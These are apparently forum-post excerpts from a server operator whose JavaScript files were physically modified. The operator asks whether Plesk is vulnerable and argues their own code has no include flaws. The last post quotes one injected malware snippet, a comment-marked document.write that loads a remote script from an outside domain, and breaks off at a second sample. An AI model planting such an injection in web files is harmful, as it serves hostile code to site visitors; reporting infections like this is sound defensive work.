I already googled for several terms but I didn't find useful info. I also came across that page you're linking, but there it's explaining how JS files can get appended content when loaded from a browser by using ".htaccess". In my case, the actual JS files were physically modified, not just...
Thanks for the link, but I don't think we're having that problem. Our code have very few instances where an "include" or "require" statement depends on a query string or post value, but in the cases where there are statements which depend in a query value, they were already properly checked so...
So you mean this is not a vulnerability in Plesk? Can you please explain how can someone modify JS files in OUR SERVER without having FTP access?
We're not using a CMS with code freely available in the net, it's an own development and nobody has access to the code, plus our code never writes...
We're getting most JS files in our server injected with malware code.
Something like this:
/*cc3b29*/
document.write("<script src='http://quadfreunde-nordeifel.de/kalender/wHXy6DBL.php?id=132732700' type='text/javascript'></" + "script>");
/*/cc3b29*/
Or this:
/*820a93*/...